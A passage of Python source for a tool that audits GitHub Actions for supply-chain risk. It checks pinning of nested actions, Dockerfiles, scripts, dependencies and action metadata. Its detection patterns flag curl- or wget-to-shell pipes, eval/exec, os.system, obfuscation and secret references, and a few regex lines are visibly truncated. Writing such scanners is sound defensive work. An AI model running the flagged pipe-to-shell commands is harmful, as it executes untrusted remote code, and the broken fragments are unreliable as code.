enumerate(action_yml_content.splitlines(), 1): - match = re.search(r"uses:\s+(.+?)(?:\s*#.*)?$", line.strip()) - if not match: - continue - raw = match.group(1).strip().strip("'\"") - - # Local action reference (e.g., ./.github/actions/foo) - if raw.startswith("./"): - results.append({ - "raw": raw, "org": "", "repo": "", "sub_path": "", - "ref": "", "is_hash_pinned": True, "is_local": True, - "line_num": i, - }) - continue - - # Docker reference - if raw.startswith("docker://"): - results.append({ - "raw": raw, "org": "", "repo": "", "sub_path": "", - "ref": "", "is_hash_pinned": True, "is_local": False, - "line_num": i, "is_docker": True, - }) - continue - - # Standard action reference: org/repo[/sub]@ref - if "@" not in raw: - continue - action_path, ref = raw.rsplit("@", 1) - parts = action_path.split("/") - if len(parts) < 2: - continue - org, repo = parts[0], parts[1] - sub_path = "/".join(parts[2:]) - is_hash = bool(re.match(r"^[0-9a-f]{40}$", ref)) - - results.append({ - "raw": raw, "org": org, "repo": repo, "sub_path": sub_path, - "ref": ref, "is_hash_pinned": is_hash, "is_local": False, - "line_num": i, - }) - - return results - - -def _detect_action_type_from_yml(action_yml_content: str) -> str: - """Extract the using: field from an action.yml string.""" - for line in action_yml_content.splitlines(): - m = re.match(r"\s+using:\s*['\"]?(\S+?)['\"]?\s*$", line) - if m: - return m.group(1) - return "unknown" - - -def analyze_nested_actions( - org: str, repo: str, commit_hash: str, sub_path: str = "", - ci_mode: bool = False, gh: GitHubClient | None = None, - _depth: int = 0, _visited: set | None = None, - _checked: list | None = None, -) -> tuple[list[str], list[dict]]: - """Analyze actions referenced in composite steps, recursing into ALL types. - - Returns (warnings, checked_actions) where checked_actions is a list of dicts - describing each nested action that was inspected (for the summary). - - For every nested action (composite, node, docker) the function: - - Checks hash-pinning - - Checks our approved list - - Detects the nested action type - - For composite nested actions: recurses into their steps - - For node nested actions: reports the node version and dist/ presence - - For docker nested actions: reports the docker image - """ - MAX_DEPTH = 3 - warnings: list[str] = [] - - if _visited is None: - _visited = set() - if _checked is None: - _checked = [] - - action_key = f"{org}/{repo}/{sub_path}@{commit_hash}" - if action_key in _visited: - return warnings, _checked - _visited.add(action_key) - - indent = " " * (_depth + 1) - - action_yml = fetch_action_yml(org, repo, commit_hash, sub_path) - if not action_yml: - warnings.append(f"Could not fetch action.yml for {org}/{repo}@{commit_hash[:12]}") - return warnings, _checked - - uses_refs = extract_composite_uses(action_yml) - if not uses_refs: - return warnings, _checked - - if _depth == 0: - console.print() - console.rule("[bold]Nested Action Analysis[/bold]") - - for ref_info in uses_refs: - raw = ref_info["raw"] - line = ref_info["line_num"] - - if ref_info.get("is_local"): - console.print(f"{indent}[dim]line {line}:[/dim] [cyan]{raw}[/cyan] [dim](local action)[/dim]") - _checked.append({ - "action": raw, "type": "local", "pinned": True, - "approved": True, "status": "ok", - }) - continue - - if ref_info.get("is_docker"): - console.print(f"{indent}[dim]line {line}:[/dim] [cyan]{raw}[/cyan] [dim](docker reference)[/dim]") - _checked.append({ - "action": raw, "type": "docker-ref", "pinned": True, - "approved": True, "status": "ok", - }) - continue - - r_org, r_repo, r_sub = ref_info["org"], ref_info["repo"], ref_info["sub_path"] - ref_str = ref_info["ref"] - display_name = f"{r_org}/{r_repo}" - if r_sub: - display_name += f"/{r_sub}" - - checked_entry: dict = { - "action": display_name, "ref": ref_str, - "pinned": ref_info["is_hash_pinned"], - "approved": False, "type": "unknown", "status": "ok", - "depth": _depth + 1, - } - - if ref_info["is_hash_pinned"]: - # Check if this hash is in our approved_patterns / actions.yml - approved = find_approved_versions(r_org, r_repo) - approved_hashes = {v["hash"] for v in approved} - is_approved = ref_str in approved_hashes - checked_entry["approved"] = is_approved - - # Try to resolve the tag via comment - tag_comment = "" - for yml_line in action_yml.splitlines(): - if ref_str in yml_line and "#" in yml_line: - tag_comment = yml_line.split("#", 1)[1].strip() - break - checked_entry["tag"] = tag_comment - - if is_approved: - console.print( - f"{indent}[dim]line {line}:[/dim] [green]✓[/green] " - f"[link=https://github.com/{r_org}/{r_repo}/commit/{ref_str}]{display_name}@{ref_str[:12]}[/link] " - f"[green](hash-pinned, in our approved list)[/green]" - ) - else: - tag_display = f" [dim]# {tag_comment}[/dim]" if tag_comment else "" - console.print( - f"{indent}[dim]line {line}:[/dim] [green]✓[/green] " - f"[link=https://github.com/{r_org}/{r_repo}/commit/{ref_str}]{display_name}@{ref_str[:12]}[/link]" - f"{tag_display} [yellow](hash-pinned, NOT in our approved list)[/yellow]" - ) - warnings.append( - f"Nested action {display_name}@{ref_str[:12]} is not in our approved actions list" - ) - checked_entry["status"] = "warn" - - # GitHub-official orgs whose actions are trusted — skip recursive - # deep-dive but still report type for informational purposes. - TRUSTED_ORGS = {"actions", "github"} - is_trusted = r_org in TRUSTED_ORGS - checked_entry["trusted"] = is_trusted - - # Fetch and inspect the nested action regardless of type - if _depth < MAX_DEPTH: - nested_yml = fetch_action_yml(r_org, r_repo, ref_str, r_sub) - if nested_yml: - nested_type = _detect_action_type_from_yml(nested_yml) - checked_entry["type"] = nested_type - - if is_trusted: - console.print( - f"{indent} [dim]↳ {nested_type} action " - f"(trusted org '{r_org}' — skipping deep inspection)[/dim]" - ) - elif nested_type == "composite": - console.print( - f"{indent} [dim]↳ {nested_type} action — analyzing nested steps...[/dim]" - ) - nested_warnings, _ = analyze_nested_actions( - r_org, r_repo, ref_str, r_sub, - ci_mode=ci_mode, gh=gh, - _depth=_depth + 1, _visited=_visited, - _checked=_checked, - ) - warnings.extend(nested_warnings) - elif nested_type.startswith("node"): - node_ver = nested_type.replace("node", "") - # Check for compiled JS — try the main: path from action.yml - has_dist = False - main_path = "" - for yml_line in nested_yml.splitlines(): - main_m = re.match(r"\s+main:\s*['\"]?(\S+?)['\"]?\s*$", yml_line) - if main_m: - main_path = main_m.group(1) - break - if main_path: - main_check = fetch_file_from_github(r_org, r_repo, ref_str, main_path) - has_dist = main_check is not None - else: - # Fallback: check dist/index.js - dist_check = fetch_file_from_github(r_org, r_repo, ref_str, "dist/index.js") - has_dist = dist_check is not None - if has_dist: - dist_status = f"[green]has {main_path or 'dist/'}[/green]" - else: - dist_status = "[dim]no compiled JS found[/dim]" - console.print( - f"{indent} [dim]↳ {nested_type} action (Node.js {node_ver}), {dist_status}[/dim]" - ) - # Check for nested uses: (some node actions are wrappers) - nested_uses = extract_composite_uses(nested_yml) - if nested_uses: - console.print( - f"{indent} [dim]↳ node action also references " - f"{len(nested_uses)} other action(s) — inspecting...[/dim]" - ) - nested_warnings, _ = analyze_nested_actions( - r_org, r_repo, ref_str, r_sub, - ci_mode=ci_mode, gh=gh, - _depth=_depth + 1, _visited=_visited, - _checked=_checked, - ) - warnings.extend(nested_warnings) - elif nested_type == "docker": - # Check the docker image reference - for yml_line in nested_yml.splitlines(): - img_m = re.search(r"image:\s*['\"]?(\S+?)['\"]?\s*$", yml_line.strip()) - if img_m: - image = img_m.group(1) - if image.startswith("Dockerfile") or image.startswith("./"): - console.print( - f"{indent} [dim]↳ docker action (local Dockerfile)[/dim]" - ) - elif "@sha256:" in image: - console.print( - f"{indent} [dim]↳ docker action, image digest-pinned[/dim]" - ) - else: - console.print( - f"{indent} [dim]↳ docker action, image: {image}[/dim]" - ) - break - else: - console.print( - f"{indent} [dim]↳ {nested_type} action[/dim]" - ) - else: - console.print( - f"{indent}[dim]line {line}:[/dim] [red]✗[/red] " - f"{display_name}@{ref_str} [red bold](NOT hash-pinned — uses tag/branch!)[/red bold]" - ) - warnings.append( - f"Nested action {display_name}@{ref_str} is NOT pinned to a commit hash" - ) - checked_entry["status"] = "fail" - - _checked.append(checked_entry) - - return warnings, _checked - - -def analyze_dockerfile( - org: str, repo: str, commit_hash: str, sub_path: str = "", -) -> list[str]: - """Analyze Dockerfiles in the action for security concerns. - - Returns a list of warning strings. - """ - warnings: list[str] = [] - - # Try common Dockerfile locations - candidates = ["Dockerfile"] - if sub_path: - candidates.insert(0, f"{sub_path}/Dockerfile") - - found_dockerfile = False - for path in candidates: - content = fetch_file_from_github(org, repo, commit_hash, path) - if content is None: - continue - found_dockerfile = True - - console.print() - console.rule(f"[bold]Dockerfile Analysis ({path})[/bold]") - - lines = content.splitlines() - from_lines = [] - suspicious_cmds = [] - - for i, line in enumerate(lines, 1): - stripped = line.strip() - if not stripped or stripped.startswith("#"): - continue - - # Check FROM lines for pinning - from_match = re.match(r"FROM\s+(.+?)(?:\s+AS\s+\S+)?$", stripped, re.IGNORECASE) - if from_match: - image = from_match.group(1).strip() - from_lines.append((i, image)) - # Check if it uses a digest - if "@sha256:" in image: - console.print( - f" [green]✓[/green] [dim]line {i}:[/dim] FROM {image} " - f"[green](digest-pinned)[/green]" - ) - elif ":" in image and not image.endswith(":latest"): - tag = image.split(":")[-1] - console.print( - f" [yellow]~[/yellow] [dim]line {i}:[/dim] FROM {image} " - f"[yellow](tag-pinned to '{tag}', but not digest-pinned)[/yellow]" - ) - warnings.append(f"Dockerfile FROM {image} is tag-pinned, not digest-pinned") - else: - console.print( - f" [red]✗[/red] [dim]line {i}:[/dim] FROM {image} " - f"[red bold](unpinned or :latest!)[/red bold]" - ) - warnings.append(f"Dockerfile FROM {image} is not pinned") - continue - - # Flag potentially suspicious commands - lower = stripped.lower() - if any(cmd in lower for cmd in ["curl ", "wget ", "git clone"]): - if "requirements" not in lower and "pip" not in lower: - suspicious_cmds.append((i, stripped)) - # Check for network fetches to unusual places - if re.search(r"https?://(?!github\.com|pypi\.org|registry\.npmjs\.org|dl-cdn\.alpinelinux\.org)", lower): - url_match = re.search(r"(https?://\S+)", stripped) - if url_match: - suspicious_cmds.append((i, f"External URL: {url_match.group(1)}")) - - if suspicious_cmds: - console.print() - console.print(" [yellow]Potentially suspicious commands:[/yellow]") - for line_num, cmd in suspicious_cmds: - console.print(f" [dim]line {line_num}:[/dim] [yellow]{cmd}[/yellow]") - warnings.append(f"Dockerfile line {line_num}: {cmd[:80]}") - elif from_lines: - console.print(f" [green]✓[/green] No suspicious commands detected") - - if not found_dockerfile: - # Check action.yml for docker image references - action_yml = fetch_action_yml(org, repo, commit_hash, sub_path) - if action_yml: - for line in action_yml.splitlines(): - m = re.search(r"image:\s*['\"]?(docker://\S+)['\"]?", line.strip()) - if m: - console.print() - console.rule("[bold]Docker Image Analysis[/bold]") - image = m.group(1) - console.print(f" [dim]Docker image reference:[/dim] {image}") - if "@sha256:" in image: - console.print(f" [green]✓[/green] Image is digest-pinned") - else: - console.print(f" [yellow]![/yellow] Image is NOT digest-pinned") - warnings.append(f"Docker image {image} is not digest-pinned") - - return warnings - - -def analyze_scripts( - org: str, repo: str, commit_hash: str, sub_path: str = "", -) -> list[str]: - """Analyze scripts referenced by the action for suspicious patterns. - - Returns a list of warning strings. - """ - warnings: list[str] = [] - action_yml = fetch_action_yml(org, repo, commit_hash, sub_path) - if not action_yml: - return warnings - - # Collect script files referenced in the action - script_files: set[str] = set() - - # Look for scripts in run: blocks and in COPY/references - for line in action_yml.splitlines(): - stripped = line.strip() - # Skip lines that are GitHub Actions expressions - if "${{" in stripped and "}}" in stripped: - continue - # Python/shell scripts in run blocks - for ext in (".py", ".sh", ".bash", ".rb", ".pl"): - matches = re.findall(r"(? upload.py match) - if re.search(r"https?://.*" + re.escape(m), stripped): - continue - if clean and ("/" not in clean or clean.count("/") <= 2): - script_files.add(clean) - - # Also look for scripts referenced in Dockerfile - dockerfile_content = fetch_file_from_github(org, repo, commit_hash, "Dockerfile") - if sub_path: - sub_df = fetch_file_from_github(org, repo, commit_hash, f"{sub_path}/Dockerfile") - if sub_df: - dockerfile_content = sub_df - if dockerfile_content: - for line in dockerfile_content.splitlines(): - stripped = line.strip() - if stripped.startswith("COPY") or stripped.startswith("ADD"): - for ext in (".py", ".sh", ".bash"): - matches = re.findall(r"[\w./-]+" + re.escape(ext), stripped) - for m in matches: - # Strip absolute container paths to get the source filename - clean = m.strip().lstrip("/") - # Remove container directory prefixes (e.g. /app/foo.sh -> foo.sh) - if "/" in clean: - clean = clean.rsplit("/", 1)[-1] - if clean: - script_files.add(clean) - if stripped.startswith("ENTRYPOINT") or stripped.startswith("CMD"): - for ext in (".py", ".sh", ".bash"): - matches = re.findall(r"[\w./-]+" + re.escape(ext), stripped) - for m in matches: - clean = m.strip().lstrip("/") - if "/" in clean: - clean = clean.rsplit("/", 1)[-1] - if clean: - script_files.add(clean) - - if not script_files: - return warnings - - console.print() - console.rule("[bold]Script Analysis[/bold]") - - suspicious_patterns = [ - (r"eval\s*\(", "eval() call — potential code injection"), - (r"exec\s*\(", "exec() call — potential code injection"), - (r"subprocess\.call\(.*shell\s*=\s*True", "subprocess with shell=True"), - (r"os\.system\s*\(", "os.system() call"), - (r"base64\.b64decode|atob\(", "base64 decoding — potential obfuscation"), - (r"\\x[0-9a-f]{2}", "hex-escaped strings — potential obfuscation"), - (r"requests?\.(get|post|put|delete|patch)\s*\(", "HTTP request (review target URL)"), - (r"urllib\.request", "urllib request (review target URL)"), - (r"socket\.", "socket operations"), - ] - - for script_path in sorted(script_files): - base_path = f"{sub_path}/{script_path}" if sub_path else script_path - content = fetch_file_from_github(org, repo, commit_hash, base_path) - if content is None: - # Try without sub_path - content = fetch_file_from_github(org, repo, commit_hash, script_path) - if content is None: - console.print(f" [dim]⊘ {script_path} (not found at commit)[/dim]") - continue - - line_count = len(content.splitlines()) - console.print( - f" [green]✓[/green] [link=https://github.com/{org}/{repo}/blob/{commit_hash}/{base_path}]" - f"{script_path}[/link] [dim]({line_count} lines)[/dim]" - ) - - # Check for suspicious patterns - findings: list[tuple[int, str, str]] = [] - for i, line in enumerate(content.splitlines(), 1): - for pattern, description in suspicious_patterns: - if re.search(pattern, line): - findings.append((i, description, line.strip()[:100])) - - if findings: - # Group by pattern to avoid flooding - seen_patterns: set[str] = set() - for line_num, desc, snippet in findings: - if desc not in seen_patterns: - seen_patterns.add(desc) - console.print( - f" [yellow]![/yellow] [dim]line {line_num}:[/dim] " - f"[yellow]{desc}[/yellow]" - ) - console.print(f" [dim]{snippet}[/dim]") - if len(findings) > len(seen_patterns): - console.print( - f" [dim]({len(findings)} total findings, " - f"{len(findings) - len(seen_patterns)} similar suppressed)[/dim]" - ) - - return warnings - - -def analyze_dependency_pinning( - org: str, repo: str, commit_hash: str, sub_path: str = "", -) -> list[str]: - """Analyze dependency files for pinning practices. - - Returns a list of warning strings. - """ - warnings: list[str] = [] - - # Check for Python requirements files - req_candidates = [ - "requirements.txt", "requirements/runtime.txt", - "requirements/runtime.in", "requirements/runtime-prerequisites.txt", - "requirements/runtime-prerequisites.in", - ] - if sub_path: - req_candidates = [f"{sub_path}/{r}" for r in req_candidates] + req_candidates - - found_reqs = False - for req_path in req_candidates: - content = fetch_file_from_github(org, repo, commit_hash, req_path) - if content is None: - continue - - if not found_reqs: - console.print() - console.rule("[bold]Dependency Pinning Analysis[/bold]") - found_reqs = True - - lines = content.splitlines() - total_deps = 0 - pinned_deps = 0 - unpinned_deps = [] - has_hashes = False - - for line in lines: - stripped = line.strip() - if not stripped or stripped.startswith("#") or stripped.startswith("-"): - continue - # Skip constraint references - if stripped.startswith("-c "): - continue - - total_deps += 1 - # Check for hash pinning - if "--hash=" in stripped or "\\$" in stripped: - has_hashes = True - - # Check for version pinning (==, ~=, >=) - if "==" in stripped: - pinned_deps += 1 - elif "~=" in stripped or ">=" in stripped: - pinned_deps += 1 - # ~= and >= are less strict than == - pkg_name = re.split(r"[~>== 0: - pin_pct = (pinned_deps / total_deps) * 100 - status = "[green]✓[/green]" if pin_pct >= 90 else "[yellow]![/yellow]" - console.print( - f" {status} [link=https://github.com/{org}/{repo}/blob/{commit_hash}/{req_path}]" - f"{req_path}[/link] [dim]({file_type})[/dim]: " - f"{pinned_deps}/{total_deps} deps pinned ({pin_pct:.0f}%)" - ) - - if unpinned_deps and is_compiled: - for pkg, spec in unpinned_deps[:5]: - console.print(f" [yellow]![/yellow] [dim]{spec}[/dim]") - warnings.append(f"{req_path}: {pkg} not strictly pinned") - if len(unpinned_deps) > 5: - console.print(f" [dim]... and {len(unpinned_deps) - 5} more[/dim]") - - # Check for package.json - pkg_json_path = f"{sub_path}/package.json" if sub_path else "package.json" - content = fetch_file_from_github(org, repo, commit_hash, pkg_json_path) - if content: - if not found_reqs: - console.print() - console.rule("[bold]Dependency Pinning Analysis[/bold]") - found_reqs = True - - try: - pkg = json.loads(content) - for dep_type in ("dependencies", "devDependencies"): - deps = pkg.get(dep_type, {}) - if not deps: - continue - unpinned = [ - (name, ver) for name, ver in deps.items() - if not re.match(r"^\d+\.\d+\.\d+$", ver) # exact version only - ] - total = len(deps) - pinned = total - len(unpinned) - pin_pct = (pinned / total) * 100 if total else 100 - status = "[green]✓[/green]" if pin_pct >= 80 else "[yellow]![/yellow]" - console.print( - f" {status} {pkg_json_path} [{dep_type}]: " - f"{pinned}/{total} deps exact-pinned ({pin_pct:.0f}%)" - ) - if unpinned[:5]: - for name, ver in unpinned[:5]: - console.print(f" [dim]{name}: {ver}[/dim]") - except (json.JSONDecodeError, KeyError): - pass - - # Check for lock files existence - lock_files = ["package-lock.json", "yarn.lock", "pnpm-lock.yaml"] - if sub_path: - lock_files = [f"{sub_path}/{lf}" for lf in lock_files] + lock_files - for lf_path in lock_files: - content = fetch_file_from_github(org, repo, commit_hash, lf_path) - if content is not None: - if not found_reqs: - console.print() - console.rule("[bold]Dependency Pinning Analysis[/bold]") - found_reqs = True - console.print(f" [green]✓[/green] Lock file present: {lf_path}") - break - - return warnings - - -def analyze_action_metadata( - org: str, repo: str, commit_hash: str, sub_path: str = "", -) -> list[str]: - """Analyze action.yml metadata for security-relevant fields. - - Checks: permissions requests, environment variable usage, inline shell - commands in run: blocks, github_token exposure, and GITHUB_ENV writes. - """ - warnings: list[str] = [] - action_yml = fetch_action_yml(org, repo, commit_hash, sub_path) - if not action_yml: - return warnings - - console.print() - console.rule("[bold]Action Metadata Analysis[/bold]") - - lines = action_yml.splitlines() - - # --- Check inputs for secrets / sensitive defaults --- - sensitive_input_patterns = [ - (r"default:\s*\$\{\{\s*secrets\.", "input defaults to a secret"), - (r"default:\s*\$\{\{\s*github\.token", "input defaults to github.token"), - ] - for i, line in enumerate(lines, 1): - for pattern, desc in sensitive_input_patterns: - if re.search(pattern, line): - console.print( - f" [yellow]![/yellow] [dim]line {i}:[/dim] " - f"[yellow]{desc}[/yellow]" - ) - console.print(f" [dim]{line.strip()[:100]}[/dim]") - warnings.append(f"action.yml line {i}: {desc}") - - # --- Analyze inline run: blocks --- - in_run_block = False - run_lines: list[tuple[int, str]] = [] - dangerous_shell_patterns = [ - (r"curl\s+.*\|\s*(ba)?sh", "pipe-to-shell (curl | sh) — high risk"), - (r"wget\s+.*\|\s*(ba)?sh", "pipe-to-shell (wget | sh) — high risk"), - (r'\$\{\{\s*inputs\.', "direct input interpolation in shell (injection risk)"), - (r'GITHUB_ENV', "writes to GITHUB_ENV (can affect subsequent steps)"), - (r'GITHUB_PATH', "writes to GITHUB_PATH (can affect subsequent steps)"), - (r'GITHUB_OUTPUT', None), # Normal — just note it - ] - - shell_findings: list[tuple[int, str, str]] = [] - for i, line in enumerate(lines, 1): - stripped = line.strip() - if re.match(r"run:\s*\|", stripped) or re.match(r"run:\s+\S", stripped): - in_run_block = True - continue - if in_run_block: - # End of run block: next key at same/lower indent - if stripped and not line[0].isspace(): - in_run_block = False - elif stripped and re.match(r"\s+\w+:", line) and not line.startswith(" "): - # New YAML key at step level - if not stripped.startswith("#") and not stripped.startswith("-"): - in_run_block = False - - if in_run_block or (re.match(r"\s+run:\s+", line)): - for pattern, desc in dangerous_shell_patterns: - if desc is None: - continue - if re.search(pattern, line): - shell_findings.append((i, desc, stripped[:100])) - - if shell_findings: - # Deduplicate by description - seen: set[str] = set() - shown = 0 - for line_num, desc, snippet in shell_findings: - key = desc - if key not in seen: - seen.add(key) - console.print( - f" [yellow]![/yellow] [dim]line {line_num}:[/dim] " - f"[yellow]{desc}[/yellow]" - ) - console.print(f" [dim]{snippet}[/dim]") - if "high risk" in desc or "injection" in desc: - warnings.append(f"action.yml line {line_num}: {desc}") - shown += 1 - if len(shell_findings) > shown: - console.print( - f" [dim]({len(shell_findings)} total shell findings, " - f"{len(shell_findings) - shown} similar suppressed)[/dim]" - ) - else: - console.print(" [green]✓[/green] No dangerous shell patterns in run: blocks") - - # --- Check for environment variable exposure --- - env_secrets = [] - for i, line in enumerate(lines, 1): - if re.search(r"\$\{\{\s*secrets\.", line): - env_secrets.append((i, line.strip()[:100])) - if env_secrets: - console.print(f" [dim]ℹ[/dim] Secrets referenced in {len(env_secrets)} place(s):") - for line_num, snippet in env_secrets[:5]: - console.print(f" [dim]line {line_num}: {snippet}[/dim]") - else: - console.print(" [green]✓[/green] No secrets referenced") - - # --- Count total steps and run blocks --- - step_count = sum(1 for line in lines if re.match(r"\s+- name:", line)) - run_count = sum(1 for line in lines if re.match(r"\s+run:", line.rstrip())) - uses_count = sum(1 for line in lines if re.match(r"\s+uses:", line.rstrip())) - console.print( - f" [dim]ℹ[/dim] {step_count} step(s): " - f"{uses_count} uses: action(s) + {run_count} run: block(s)" - ) - - return warnings - - -def analyze_repo_metadata( - org: str, repo: str, commit_hash: str, -) -> list[str]: - """Check repo-level signals: license, recent commits, contributor count.""" - warnings: list[str] = [] - - console.print() - console.rule("[bold]Repository Metadata[/bold]") - - # Check for LICENSE file - for license_name in ("LICENSE", "LICENSE.md", "LICENSE.txt", "COPYING"): - content = fetch_file_from_github(org, repo, commit_hash, license_name) - if content is not None: - # Try to identify the license type from first few lines - first_lines = content[:500].lower() - license_type = "unknown" - for name, pattern in [ - ("MIT", "mit license"), - ("Apache 2.0", "apache license"), - ("BSD", "bsd"), - ("GPL", "gnu general public"), - ("ISC", "isc license"), - ("MPL", "mozilla public"), - ]: - if pattern in first_lines: - license_type = name - break - console.print(f" [green]✓[/green] License: {license_name} ({license_type})") - break - else: - console.print(f" [yellow]![/yellow] No LICENSE file found") - warnings.append("No LICENSE file found in repository") - - # Check for security policy - for sec_name in ("SECURITY.md", ".github/SECURITY.md"): - content = fetch_file_from_github(org, repo, commit_hash, sec_name) - if content is not None: - console.print(f" [green]✓[/green] Security policy: {sec_name}") - break - else: - console.print(f" [dim]ℹ[/dim] No SECURITY.md found") - - # Show the org/owner for trust signal - well_known_orgs = { - "actions", "github", "google-github-actions", "aws-actions", - "azure", "docker", "hashicorp", "pypa", "gradle", - } - if org in well_known_orgs: - console.print(f" [green]✓[/green] Well-known org: [bold]{org}[/bold]") - else: - console.print(f" [dim]ℹ[/dim] Org: {org} (not in well-known list)") - - return warnings - - -def show_verification_summary( - org: str, repo: str, commit_hash: str, sub_path: str, - action_type: str, is_js_action: bool, all_match: bool, - non_js_warnings: list[str] | None, - checked_actions: list[dict] | None, - checks_performed: list[tuple[str, str, str]], - ci_mode: bool = False, -) -> None: - """Show a structured summary of all checks performed. - - checks_performed is a list of (check_name, status, detail) where - status is one of "pass", "warn", "fail", "skip", "info". - """ - console.print() - console.rule("[bold]Verification Summary[/bold]") - - display_name = f"{org}/{repo}" - if sub_path: - display_name += f"/{sub_path}" - - action_url = f"https://github.com/{org}/{repo}/tree/{commit_hash}" - if sub_path: - action_url += f"/{sub_path}" - - # Summary table - table = Table(show_header=True, border_style="blue", title=f"[bold]{display_name}@{commit_hash[:12]}[/bold]") - table.add_column("Check", style="bold", min_width=30) - table.add_column("Status", min_width=6, justify="center") - table.add_column("Detail", max_width=60) - - status_icons = { - "pass": "[green]✓[/green]", - "warn": "[yellow]![/yellow]", - "fail": "[red]✗[/red]", - "skip": "[dim]⊘[/dim]", - "info": "[dim]ℹ[/dim]", - } - - for check_name, status, detail in checks_performed: - icon = status_icons.get(status, "[dim]?[/dim]") - table.add_row(check_name, icon, detail) - - console.print(table) - - # Show nested actions sub-table if any were checked - if checked_actions: - console.print() - nested_table = Table( - show_header=True, border_style="cyan", - title="[bold]Nested Actions Inspected[/bold]", - ) - nested_table.add_column("Action", min_width=30) - nested_table.add_column("Type", min_width=10) - nested_table.add_column("Pinned", justify="center") - nested_table.add_column("Approved", justify="center") - nested_table.add_column("Trusted", justify="center") - - for entry in checked_actions: - action_name = entry.get("action", "?") - atype = entry.get("type", "?") - tag = entry.get("tag", "") - if tag: - action_name += f" ({tag})" - pinned_icon = "[green]✓[/green]" if entry.get("pinned") else "[red]✗[/red]" - approved_icon = "[green]✓[/green]" if entry.get("approved") else "[yellow]—[/yellow]" - if entry.get("type") in ("local", "docker-ref"): - approved_icon = "[dim]n/a[/dim]" - if entry.get("trusted"): - trusted_icon = "[green]✓[/green]" - elif entry.get("type") in ("local", "docker-ref"): - trusted_icon = "[dim]n/a[/dim]" - else: - trusted_icon = "[dim]—[/dim]" - nested_table.add_row(action_name, atype, pinned_icon, approved_icon, trusted_icon) - - console.print(nested_table) - - -def verify_single_action( - action_ref: str, gh: GitHubClient | None = None, ci_mode: bool = False, - cache: bool = True, show_build_steps: bool = False, -) -> bool: - """Verify a single action reference. Returns True if verification passed.""" - org, repo, sub_path, commit_hash = parse_action_ref(action_ref) - - # Track all checks performed for the summary - checks_performed: list[tuple[str, str, str]] = [] - non_js_warnings: list[str] = [] - checked_actions: list[dict] = [] - - with tempfile.TemporaryDirectory(prefix="verify-action-") as tmp: - work_dir = Path(tmp) - (original_dir, rebuilt_dir, action_type, out_dir_name, - has_node_modules, original_node_modules, rebuilt_node_modules) = build_in_docker( - org, repo, commit_hash, work_dir, sub_path=sub_path, gh=gh, - cache=cache, show_build_steps=show_build_steps, - ) - - checks_performed.append(("Action type detection", "info", action_type)) - - # Non-JavaScript actions (docker, composite) don't have compiled JS to verify - is_js_action = action_type.startswith("node") or action_type in ("unknown",) - if not is_js_action: - console.print() - console.print( - Panel( - f"[yellow]This is a [bold]{action_type}[/bold] action, not a JavaScript action.\n" - f"Build verification of compiled JS is not applicable — " - f"running composite/docker-specific checks instead.[/yellow]", - border_style="yellow", - title="NON-JS ACTION", - ) - ) - all_match = True - checks_performed.append(("JS build verification", "skip", f"not applicable for {action_type}")) - - # Run nested action analysis (for ALL action types, not just composite) - nested_warnings, checked_actions = analyze_nested_actions( - org, repo, commit_hash, sub_path, - ci_mode=ci_mode, gh=gh, - ) - non_js_warnings.extend(nested_warnings) - if checked_actions: - unpinned = sum(1 for a in checked_actions if not a.get("pinned")) - unapproved = sum( - 1 for a in checked_actions - if not a.get("approved") and a.get("type") not in ("local", "docker-ref") - ) - status = "pass" - detail = f"{len(checked_actions)} action(s) inspected" - if unpinned: - status = "fail" - detail += f", {unpinned} NOT hash-pinned" - elif unapproved: - status = "warn" - detail += f", {unapproved} not in approved list" - checks_performed.append(("Nested action analysis", status, detail)) - else: - checks_performed.append(("Nested action analysis", "info", "no nested uses: found")) - - if action_type in ("composite", "docker"): - docker_warnings = analyze_dockerfile(org, repo, commit_hash, sub_path) - non_js_warnings.extend(docker_warnings) - if docker_warnings: - checks_performed.append(("Dockerfile analysis", "warn", f"{len(docker_warnings)} warning(s)")) - else: - # Check if Dockerfile exists - df_exists = fetch_file_from_github(org, repo, commit_hash, "Dockerfile") is not None - if df_exists: - checks_performed.append(("Dockerfile analysis", "pass", "no issues found")) - else: - checks_performed.append(("Dockerfile analysis", "skip", "no Dockerfile")) - - script_warnings = analyze_scripts(org, repo, commit_hash, sub_path) - non_js_warnings.extend(script_warnings) - checks_performed.append(( - "Script analysis", - "warn" if script_warnings else "pass", - f"{len(script_warnings)} warning(s)" if script_warnings else "no suspicious patterns", - )) - - dep_warnings = analyze_dependency_pinning(org, repo, commit_hash, sub_path) - non_js_warnings.extend(dep_warnings) - checks_performed.append(( - "Dependency pinning", - "warn" if dep_warnings else "pass", - f"{len(dep_warnings)} warning(s)" if dep_warnings else "dependencies pinned", - )) - - # Action metadata analysis (permissions, shell, env) - metadata_warnings = analyze_action_metadata(org, repo, commit_hash, sub_path) - non_js_warnings.extend(metadata_warnings) - checks_performed.append(( - "Action metadata (shell/env/secrets)", - "warn" if metadata_warnings else "pass", - f"{len(metadata_warnings)} warning(s)" if metadata_warnings else "no issues", - )) - - # Repo metadata (license, security policy, org trust) - repo_warnings = analyze_repo_metadata(org, repo, commit_hash) - non_js_warnings.extend(repo_warnings) - checks_performed.append(( - "Repository metadata", - "warn" if repo_warnings else "pass", - f"{len(repo_warnings)} warning(s)" if repo_warnings else "ok", - )) - - # Show warnings summary - if non_js_warnings: - console.print() - console.print( - Panel( - "\n".join(f" [yellow]![/yellow] {w}" for w in non_js_warnings), - title=f"[yellow bold]{len(non_js_warnings)} Warning(s)[/yellow bold]", - border_style="yellow", - padding=(0, 1), - ) - ) - else: - console.print() - console.print( - " [green]✓[/green] All checks passed with no warnings" - ) - else: - all_match = diff_js_files( - original_dir, rebuilt_dir, org, repo, commit_hash, out_dir_name, - ) - checks_performed.append(( - "JS build verification", - "pass" if all_match else "fail", - "compiled JS matches rebuild" if all_match else "DIFFERENCES DETECTED", - )) - - # If no compiled JS was found in dist/ but node_modules is vendored, - # verify node_modules instead - if has_node_modules: - nm_match = diff_node_modules( - original_node_modules, rebuilt_node_modules, - org, repo, commit_hash, - ) - all_match = all_match and nm_match - - # Check for previously approved versions and offer to diff - approved = find_approved_versions(org, repo) - if approved: - checks_performed.append(("Approved versions", "info", f"{len(approved)} version(s) on file")) - selected_hash = show_approved_versions(org, repo, commit_hash, approved, gh=gh, ci_mode=ci_mode) - if selected_hash: - show_commits_between(org, repo, selected_hash, commit_hash, gh=gh) - diff_approved_vs_new(org, repo, selected_hash, commit_hash, work_dir, ci_mode=ci_mode) - checks_performed.append(("Source diff vs approved", "info", f"compared against {selected_hash[:12]}")) - else: - checks_performed.append(("Approved versions", "info", "new action (none on file)")) - if not is_js_action: - console.print( - " [dim]No previously approved versions found — 